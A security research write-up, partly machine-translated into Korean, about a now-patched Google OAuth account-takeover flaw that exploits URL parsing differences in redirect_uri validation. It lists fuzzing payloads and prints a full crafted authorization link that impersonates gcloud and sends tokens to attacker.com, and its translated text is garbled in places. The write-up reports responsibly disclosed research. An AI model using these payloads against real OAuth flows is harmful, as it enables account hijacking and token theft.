439 판독값
439 판독값

이 미묘한 URL 트릭은 공격자가 Google의 OAuth 방어를 우회 할 수 있습니다.

~에 의해 Mohamed Benchikh9m2025/05/06
Read on Terminal Reader

너무 오래; 읽다

이 문서는 최근에 여러 Google 서비스에 영향을 미치는 독특한 OAuth 계정 인수 취득 취약성을 탐구합니다.이 취약성은 redirect_uri OAuth 매개 변수를 처리 할 때 URL 분석 혼란으로 인해 발생합니다.이 취약성은 공격자가 Google Cloud SDK 클라이언트와 같은 합법적인 응용 프로그램을 척하고 공격자가 제어하는 서버에 액세스 토큰을 유출하여 피해자 계정에 백도어 액세스를 허용합니다.
featured image - 이 미묘한 URL 트릭은 공격자가 Google의 OAuth 방어를 우회 할 수 있습니다.
Mohamed Benchikh HackerNoon profile picture
0-item
1-item


TL;DR

박사 : 박사

이 문서는 최근에 몇 가지 Google 서비스에 영향을 미치는 독특한 OAuth 계정 인수 취약성을 탐구합니다.It arises from URL parsing confusion when handlingredirect_uri이 취약성은 공격자가 Google Cloud SDK 클라이언트와 같은 합법적인 애플리케이션을 가리키고 공격자가 제어하는 서버에 액세스 토큰을 유출하여 피해자 계정에 백도어 액세스를 허용합니다.


Note:첫 번째 4 개 섹션은 OAuth, 토큰 유출 위험 및 URL 분석 혼란에 대한 일반적인 배경을 다루고 있습니다.If you are already familiar with these concepts, feel free to jump straight intoSection 5: Google Cloud Account Takeover Case.

1) 소개

OAuth 2.0은 제3자 응용 프로그램이 사용자 데이터를 요청하거나 그 대신에 행동을 수행하기 위해 사용자 데이터에 액세스할 수 있도록 허용합니다.OAuth 2.0 allows third-party applications to access user data without handling passwords directly by having an authorization server (e.g., Google) generate a token to be used by the third-party application to request user data or perform actions on their behalf.


그러나 만일 그redirect_uri매개 변수는 수술적 정확도로 검증되지 않으며, 공격자는 신뢰할 수 있는 응용 프로그램을 가리키고 사용자를 이용하여 액세스 토큰을 유출할 수 있습니다.


이 기사에서는 미묘한 URL 분석 결함이 여러 Google 서비스에서 정확히 그 일을 할 수있는 방법을 살펴보고 Google 클라우드 케이스에 깊이 뛰어 들었습니다.

OAuth가 작동하는 방법

OAuth는 완전히 이해할 수있는 일련의 기사를받을 자격이있는 상당히 복잡한 프로토콜이지만, 여기에 간단한 개요가 있습니다.


  1. Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).

  2. Redirect with Grant: After approval, the server redirects the user back to a predefined redirect_uri with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token).

  3. Request user data: The client app uses the token to access the user’s protected data from the resource server.


물건을 시각화하기 위해, 아래의 과도하게 단순화 된 차트는 내 Google 계정을 사용하여 Medium에 로그인하는 것을 보여줍니다.


Figure 1: Login to Medium using Google


Note:많은 경우 권한 서버와 리소스 서버는 동일합니다.In many cases, authorization server and resource server are the same.

제3장 OAuth Token Leakage

위의 차트를 살펴보면, 가장 어려운 부분은 권한 서버가 생성된 토큰을 클라이언트 응용 프로그램으로 되돌려 보내는 단계 5입니다.redirect_uri토큰을 어디로 보내야 하는지 알고 싶습니다.


이 매개 변수가 제대로 검증되지 않으면 공격자는 클라이언트 응용 프로그램 (예를 들어, 중간)을 가리키고 권한 서버를 사용자의 액세스 토큰을 전송하도록 속일 수 있지만 사용자의 관점에서 모든 것이 합법적으로 보일 수 있습니다.This allows the attacker to take over the user's account.


Figure 2: Google OAuth login flow


전형적으로는redirect_uri어느 정도는 검증되며—당신은 단순히 허가 서버에 무작위 URL을 던질 수 없습니다.그러나 검증 방법은 비즈니스 요구에 따라 구현에 따라 다르며,이 과정의 결함을 활용할 수 있습니다.

몇 가지 일반적인 패턴:


  • 엄격한 일치: 사전 등록된 URI와 정확한 문자열 일치.
  • Wildcard 또는 Path Prefix Matching: https://example.com/* 또는 https://*.example.com과 같은 URI를 허용합니다.
  • Loopback Addresses : 로컬 서버가 리디렉션을 처리하는 데 데스크톱 앱에서 일반적입니다.

URL 파싱 혼란

에 따르면RFC 3986, 표준 URL은 다음과 같은 구조를 가지고 있습니다:


scheme://username:password@host:port/path?query#fragment


각 구성 요소는 특정 역할을합니다 :


  • scheme: in web context it’s usually the protocol (e.g., http)

  • username:password: user credentials

  • host: the domain or IP address (e.g., google.com)

  • port: optional port number (e.g., 443)

  • path: the specific resource or endpoint (e.g., /login)

  • query: key-value pairs of parameters

  • fragment: a client side page reference


Note: host:port그것은 asauthority, username:password이들은 asuserinfo


첫눈에 이것은 간단한 것처럼 보이지만, 특히 가장자리 사례를 다루는 경우 미묘한 분석 차이점이 발생할 수 있습니다.These inconsistencies can be exploited for attacks such as bypassing validation or smuggling requests across protocols.


Figure 3: Smuggling SMTP protocol over HTTP protocol (credit: Orange Tsai, Black Hat 2017)


개발자는 모든 라이브러리에서 URL이 일관되고 표준화된 방식으로 분석되었음을 가정할 수 있지만, URL 팩서에 대한 광범위한 연구는 그 반대의 사실을 입증했습니다.


  • OAuth redirect URI validation

  • SSRF prevention

  • Proxy or CDN routing


아래는 단일 URL이 세 개의 다른 파서에서 다르게 처리되는 예입니다.


Figure 4: URL Parsing Confusion (credit: Orange Tsai, Black Hat 2017)


이 기사는 URL 분석 혼란 공격에 깊이 빠지지 않지만 2017 Black Hat 논문에서 철저히 탐구됩니다.SSRF의 새로운 시대 - 트렌딩 프로그래밍 언어에서 URL 파서를 활용

Google Cloud 계정 취득 사례

이전에 Google Cloud를 사용한 적이 있다면, 당신은 아마도 그것을 만났을 것입니다.gcloudCLI 유틸리티 - Google 클라우드 리소스를 관리하는 데 사용되는 강력한 명령줄 도구입니다.다른 기능을 포함하여 사용자가 브라우저 기반 OAuth 흐름을 통해 Google 계정을 사용하여 인증할 수 있습니다.


이것은 그것이 작동하는 방법입니다 :


  1. The user runs gcloud auth login

  2. gcloud spawns a local http server on a dynamic port (e.g., http://localhost:50000)

  3. gcloud opens a browser window directing the user to a Google OAuth authorization URL with redirect_uri set to the local server address

  4. The user authenticates and consents to the requested scopes

  5. Google redirects the user to redirect_uri containing the authorization code

  6. gcloud exchanges the authorization code for an access token

  7. gcloud uses the access token to perform actions on the user’s Google cloud account


이 흐름이 작동하려면 Google은 로컬 사용을 위해 충분히 안전한 것으로 간주되며 내부적으로 백리스트되기 때문에 네이티브 애플리케이션을위한 특정 loopback URL (예를 들어, http://localhost)를 신뢰합니다.


Figure 5: OAuth flow triggered by gcloud

A. 공격 표면의 식별

보았을 때 Alocalhost사용하는 것처럼redirect_uri나의 첫 번째 본능은 그것을 대체하는 것이었다.127.0.0.1그리고[::1]이것은 URL이 실제로 내부적으로 분석되고 비교되고 있음을 확인하기 때문에 중요한 단계입니다.


if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
    return False


그래서 여기서 우리는 두 가지 중요한 일을하고 있습니다 :


  1. The provided redirect_uri gets parsed and validated internally by Google’s backend.

  2. After a successful login and user consent, users get redirected to redirect_uri in the browser.


즉, Google의 백엔드에서 사용하는 두 개의 URL 팩서와 우리의 브라우저 (나의 경우는 Chrome)에서 사용하는 팩서가 있으므로이 두 팩서가 동일하지 않으면 그들 사이의 불일치가 공격자에 의해 제어되는 서버에 OAuth 허가를 유출하는 데 활용될 수 있습니다.


이제 목표는 명확합니다, 우리는 두 파서 사이에 다른 방식으로 파서되는 URL을 작성해야하며, Google의 백엔드 파서를 루프백 주소로 파서하기 위해 속이는 반면 Chrome의 파서는 글로벌 인터넷 주소로 파서합니다.


Google의 백엔드에 대한 지식이 매우 제한되어 있으며 URL을 검사하기 위해 어떤 라이브러리를 내부적으로 사용하고 있는지에 대한 지식은 블랙박스 접근법에만 남아 있음을 의미합니다.



B. 승리를 위해 다

다음으로 내가 한 것은 다양한 인코딩 트릭, 대체 노팅 및 가장자리 케이스를 적용하여 다른 URL을 돌연변이하는 파이썬 스크립트를 작성하여 어떤 것이 Google의 백엔드 검증을 통과했지만 Chrome에 의해 다르게 해석되었는지 확인하는 것이 었습니다.


  • [:ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
  • 개인 IP 주소: 10.0.0.5, 192.168.5.3, 127.10.0.1
  • 다른 스키마: file://, ldap://, ftp://, javascript://, 데이터://
  • CRLF 주입 : %0D%0A
  • 호스트 이름/IP 사용자 정보: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
  • 매우 긴 URL: http://AAAAAA...@127.0.0.1
  • DNS 부품: 127.0.0.1.attacker.com
  • 오류가 있는 URL: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
  • 쿼리/프레그먼트 주사 : 추가 주사 ? , & 또는 # @ 전에 / 후
  • DNS 링크 (수동으로 테스트)


Figure 6: Fuzzing Google’s backend URL parser


시나리오를 잠시 실행 한 후, 그리고 나의 놀라움에, 생성 된 가장자리 케이스 중 하나는 내가 찾고있는 정확한 불일치를 유발 할 수있었습니다., 나의 반응은 다음과 같습니다 :



발견된 성공적인 edge case는 다음과 같습니다.


http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/


더 단순화 될 수 있습니다 :


http://[::1]@[::1]@attacker.com/


Chrome을 사용하여 이 URL을 검사하려고 하면 다음 결과를 얻습니다.When trying to parse this URL using Chrome, we get the following result:


Figure 7: Google Chrome parsing our crafted URL


흥미로운 부분은 Abouthttp://[::1]@[::1]@attacker.com/처음에는 엉뚱한 URL 를 사용하는 것이 좋습니다.@캐릭터는 분리하기 위해 예약되어 있습니다.userinfo에서 에서hostnameChrome은이 가장자리 케이스를 완화하여 모든 비 예약 된 문자뿐만 아니라 이전 예약 된 문자 발생을 인코딩하고 최신 문자만 사용합니다.Chrome mitigates this edge case by encoding all non-reserved characters, as well as earlier occurrences of reserved characters, and using only the latest@마찬가지로, 이것은 모든 사람을 보장합니다.@마지막 하나가 URL 코딩되기 전에.


반대로, 유용량 변동을 사용한 실험 테스트를 기반으로, Google의 백엔드 분석기는 예비 문자의 이전 발생을 적절하게 인코딩하지 않았고 대신 첫 번째 발생을 사용했습니다.@분리된 후, 분리된 후@아마도 파르셀러는 그것을 추출했을 것이다.userinfo그리고hostname고정된 위치에서, 완전히 추적을 무시하는attacker.com.


Figure 8: Chrome parsing our payload


Figure 9: Google’s backend parsing our payload


이 행동은 IPv6를 사용하는 경우에만 유발되었다는 점에 주목할 가치가 있습니다.It is worth noting that this behavior was triggered exclusively when using IPv6.http://127.0.0.1@127.0.0.1@attacker.com예상대로 작동했으며, 불일치가 IPv6 분석 논리에 특정했다는 점을 강조했습니다.

C. 그것을 모두 함께 넣는 것

이제 우리의 공격 벡터가 명확해지고, 우리는 척 할 수 있습니다.gcloudcli 유틸리티와 그들이 인증하고있는 생각을 인증하기 위해 사용자를 속이는gcloud.

공격은 이렇게 진행된다:

  1. 악성 OAuth 권한 요청을 작성하고 피해자에게 링크 (코드 블록 아래)를 보냅니다.
  2. 피해자는 Google Cloud SDK 클라이언트에 대한 완전히 합법적인 OAuth 인증 흐름을 제공합니다(그림 9)
  3. 피해자는 목록에 나열된 권한에 로그인하고 동의합니다 (scope)
  4. 피해자는 그들의 생성 된 OAuth 보너스와 함께 우리의 악성 호스트로 리디렉션됩니다.
  5. 우리는 OAuth 자격을 사용하여 피해자의 계정에 API 호출을 수행합니다.


https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256



Figure 10: Google OAuth consent page


아래는 제안된 공격 흐름의 시각화입니다.


Figure 11: OAuth account takeover by impersonating gcloud


사용자의 관점에서, 그것은 그들이 인증하는 것처럼 보일 것입니다.gcloudGoogle 권한 서버에도 사용자가 인증을 시도하는 것처럼 보일 것입니다.gcloud그래서 우리는 효과적으로 두 인증 당사자 모두가 최종 액세스 토큰이 악성 호스트에 유출되는 동안 합법적인 인증 프로세스라고 생각하도록 속이고 있습니다.


유출 된 액세스 토큰은 피해자 계좌에 대한 무제한 액세스를 효과적으로 제공하여 심지어 매우 특권적인 행동을 수행 할 수 있습니다.


이 공격을 더욱 위험하게 만드는 것은:


  1. Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.

  2. Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal gcloud application might request (we can only request scopes that are available but not actively requested)


이 글의 시작 부분에서 언급했듯이,gcloud단지 하나의 취약한 응용 프로그램입니다, 아래는 내가 취약하다고 발견 한 몇 가지 다른 응용 프로그램이 있습니다 :


  • Google Drive Desktop Client

  • Firebase Desktop Client

  • Windows Mail (3rd-party app)


구글은 신속하게 응답하고 72시간 이내에 심각성을 인정하고 높은 심각성 보상을 부여했습니다.


Figure 12: Google acknowledging the vulnerability


6) 결론

이 연구는 미묘한 URL 분석 차이점이 다양한 응용 프로그램과 서비스에서 재사용되는 전체 인증 흐름의 보안을 완전히 손상시킬 수있는 방법을 강조합니다, 심지어 구글과 같은 성숙하고 보안에 의식하는 회사가 구현 할 때.


OAuth는 성숙하고 잘 연구 된 프로토콜이지만, 그것의 보안은 플랫폼, 라이브러리 및 환경에 따라 다를 수있는 작은 구현 세부 사항에 크게 의존합니다.It is a reminder that in security, precision matters: even tiny inconsistencies between components can be enough to break critical trust assumptions.


이후 Google은 책임있는 공개에 따라 취약성을 수정했습니다.


Figure 13: Google Security Team confirming the vulnerability was patched


읽어주셔서 감사합니다!

Trending Topics

blockchaincryptocurrencyhackernoon-top-storyprogrammingsoftware-developmenttechnologystartuphackernoon-booksBitcoinbooks